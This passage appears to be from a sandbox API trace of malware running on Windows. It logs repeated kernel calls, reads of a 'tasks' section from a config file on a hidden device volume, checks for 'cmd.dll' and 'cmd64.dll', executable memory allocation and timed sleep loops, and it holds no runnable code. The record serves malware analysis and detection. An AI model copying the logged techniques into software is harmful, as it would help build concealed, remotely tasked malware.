_Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.181] KeEnterCriticalRegion () [0118.181] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.181] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.181] IdePortDispatch () returned 0x103 [0118.181] KeWaitForMutexObject () returned 0x0 [0118.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.181] KeLeaveCriticalRegion () [0118.181] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.182] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.182] KeEnterCriticalRegion () [0118.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.182] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c93000 [0118.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.182] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.182] IdePortDispatch () returned 0x103 [0118.182] KeWaitForMutexObject () returned 0x0 [0118.182] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.182] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.182] IdePortDispatch () returned 0x103 [0118.182] KeWaitForMutexObject () returned 0x0 [0118.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.183] KeLeaveCriticalRegion () [0118.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.183] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.183] KeEnterCriticalRegion () [0118.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.183] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.183] KeLeaveCriticalRegion () [0118.184] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.184] KeEnterCriticalRegion () [0118.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.184] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.184] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.184] KeLeaveCriticalRegion () [0118.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.184] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.184] KeEnterCriticalRegion () [0118.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.184] ExFreePoolWithTag (P=0xfffffa80039b7820, Tag=0x0) [0118.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.184] KeLeaveCriticalRegion () [0118.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.184] ReleaseMutex (hMutex=0xf0) returned 1 [0118.184] Sleep (dwMilliseconds=0x927c0) [0118.202] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.202] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.202] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.202] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.202] KeEnterCriticalRegion () [0118.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.202] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.203] IdePortDispatch () returned 0x103 [0118.203] KeWaitForMutexObject () returned 0x0 [0118.203] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.203] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.203] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.203] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.203] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.203] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2c40 [0118.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.203] KeLeaveCriticalRegion () [0118.203] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.203] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.203] KeEnterCriticalRegion () [0118.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.203] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.203] KeLeaveCriticalRegion () [0118.203] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.203] KeEnterCriticalRegion () [0118.203] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.203] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.203] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.203] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.203] IdePortDispatch () returned 0x103 [0118.204] KeWaitForMutexObject () returned 0x0 [0118.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.204] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.204] KeLeaveCriticalRegion () [0118.204] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.204] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.204] KeEnterCriticalRegion () [0118.204] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.204] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c98000 [0118.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.204] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.204] IdePortDispatch () returned 0x103 [0118.204] KeWaitForMutexObject () returned 0x0 [0118.204] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.204] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.204] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.204] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.204] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.205] IdePortDispatch () returned 0x103 [0118.205] KeWaitForMutexObject () returned 0x0 [0118.205] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.205] KeLeaveCriticalRegion () [0118.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.205] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.205] KeEnterCriticalRegion () [0118.205] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.206] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.206] KeLeaveCriticalRegion () [0118.206] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.206] KeEnterCriticalRegion () [0118.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.206] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.206] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.206] KeLeaveCriticalRegion () [0118.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.206] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.206] KeEnterCriticalRegion () [0118.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.206] ExFreePoolWithTag (P=0xfffffa8003ad2c40, Tag=0x0) [0118.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.206] KeLeaveCriticalRegion () [0118.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.206] ReleaseMutex (hMutex=0xf0) returned 1 [0118.206] Sleep (dwMilliseconds=0x927c0) [0118.225] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.225] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.225] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.225] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.225] KeEnterCriticalRegion () [0118.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.225] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.225] IdePortDispatch () returned 0x103 [0118.225] KeWaitForMutexObject () returned 0x0 [0118.225] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.225] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.225] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.225] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.225] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.225] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1810 [0118.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.226] KeLeaveCriticalRegion () [0118.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.226] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.226] KeEnterCriticalRegion () [0118.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.226] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.226] KeLeaveCriticalRegion () [0118.226] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.226] KeEnterCriticalRegion () [0118.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.226] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.226] IdePortDispatch () returned 0x103 [0118.226] KeWaitForMutexObject () returned 0x0 [0118.226] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.226] KeLeaveCriticalRegion () [0118.226] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.226] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.226] KeEnterCriticalRegion () [0118.227] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.227] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9d000 [0118.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.227] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.227] IdePortDispatch () returned 0x103 [0118.227] KeWaitForMutexObject () returned 0x0 [0118.227] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.227] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.227] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.227] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.227] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.227] IdePortDispatch () returned 0x103 [0118.227] KeWaitForMutexObject () returned 0x0 [0118.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.227] KeLeaveCriticalRegion () [0118.227] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.228] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.228] KeEnterCriticalRegion () [0118.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.228] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.228] KeLeaveCriticalRegion () [0118.228] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.228] KeEnterCriticalRegion () [0118.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.228] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.228] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c8070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.228] KeLeaveCriticalRegion () [0118.228] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.228] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.228] KeEnterCriticalRegion () [0118.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.228] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.228] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.229] KeLeaveCriticalRegion () [0118.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.229] ReleaseMutex (hMutex=0xf0) returned 1 [0118.229] Sleep (dwMilliseconds=0x927c0) [0118.247] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.247] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.247] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.247] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.247] KeEnterCriticalRegion () [0118.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.247] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.247] IdePortDispatch () returned 0x103 [0118.247] KeWaitForMutexObject () returned 0x0 [0118.247] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.247] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.247] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.247] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.247] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.247] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2bf0 [0118.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.247] KeLeaveCriticalRegion () [0118.247] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.247] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.247] KeEnterCriticalRegion () [0118.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.247] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.247] KeLeaveCriticalRegion () [0118.248] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.248] KeEnterCriticalRegion () [0118.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.248] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.248] IdePortDispatch () returned 0x103 [0118.248] KeWaitForMutexObject () returned 0x0 [0118.248] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.248] KeLeaveCriticalRegion () [0118.248] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.248] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.248] KeEnterCriticalRegion () [0118.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.248] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca2000 [0118.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.248] KeInitializeEvent (in: 